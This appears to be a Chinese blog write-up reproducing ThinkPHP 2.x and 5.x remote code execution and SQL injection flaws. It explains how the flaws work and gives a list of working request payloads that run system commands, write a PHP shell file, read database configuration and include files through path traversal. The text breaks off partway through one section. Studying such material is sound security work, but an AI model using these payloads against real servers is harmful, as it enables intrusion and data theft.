漏洞复现—ThinkPHP 2.x/5.0.x/5.1.x/5 in-sqlinjection 命令执行漏洞

本文详细介绍了ThinkPHP框架存在的多个版本的安全漏洞,包括2.x的任意代码执行、<=5.0.23的远程代码执行、5.0.20的命令执行以及5.x系列的SQL注入问题。通过分析漏洞原理、涉及版本和复现过程,揭示了攻击者如何利用这些漏洞进行恶意操作,如创建文件、执行命令和SQL注入。同时,文中提供了漏洞利用的payload和修复建议,强调了安全防护的重要性。
摘要由CSDN通过智能技术生成

基础知识

  ThinkPHP是一个免费开源的,快速、简单的面向对象的轻量级PHP开发框架,是为了敏捷WEB应用开发和简化企业应用开发而诞生的。ThinkPHP从诞生以来一直秉承简洁实用的设计原则,在保持出色的性能和至简的代码的同时,也注重易用性。

  模块:thinkphp 所有的主入口文件默认访问index控制器
  方法:thinkphp 所有的控制器默认执行index动作
  构造:http://IP/index.php(或者其它应用入口文件)?s=/模块/控制器/操作/[参数名/参数值…]

漏洞原理

ThinkPHP 2.x 任意代码执行漏洞
  就是在thinkphp的类似于MVC的框架中,存在一个Dispatcher.class.php的文件,它规定了如何解析路由,在该文件中,存在一个函数为static public function dispatch(),此为URL映射控制器,是为了将URL访问的路径映射到该控制器下获取资源的,而当我们输入的URL作为变量传入时,该URL映射控制器会将变量以数组的方式获取出来,从而导致漏洞的产生。
ThinkPHP <=5.0.23 远程代码执行漏洞
  ThinkPHP是一款运用极广的PHP开发框架。其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。
ThinkPHP 5.0.20 远程代码执行漏洞
  由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。
ThinkPHP5 in-sqlinjection
  控制了in语句的值位置,即可通过传入一个数组,来造成SQL注入漏洞。

涉及版本

ThinkPHP 2.x
ThinkPHP <=5.0.23
ThinkPHP =5.0.20
ThinkPHP5

漏洞payload梳理(ThinkPHP 5.0.0-5.0.23/5.1.* )


  执行流程:发起请求->路由检测->获取pathinfo信息->路由匹配->路由解析->获得模块、控制器、操作方法调度信息->路由调度->解析模块和类名->组建命名空间>查找并加载类->实例化控制器并调用操作方法->构建响应对象->响应输出->日志保存->程序运行结束

  漏洞原因:路由控制不严谨,默认不开启强制路由,从而可以任意调用Thinkphp的类库

  漏洞思路
            1.因为Request类的method和__construct方法造成的RCE
            2.因为Request类在兼容模式下获取的控制器没有进行合法校验导致的RCE

ThinkPHP 5.1.x

?s=index/\think\Request/input&filter[]=system&data=pwd
?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

ThinkPHP 5.0.x

?s=index/think\config/get&name=database.username // 获取配置信息
?s=index/\think\Lang/load&file=../../test.jpg    // 包含任意文件
?s=index/\think\Config/load&file=../../t.php     // 包含任意.php文件
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=whoami

还有一种:

http://php.local/thinkphp5.0.5/public/index.php?s=index
post
_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo
_method=__construct&filter[]=system&method=GET&get[]=whoami

ThinkPHP <= 5.0.13:

POST /?
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值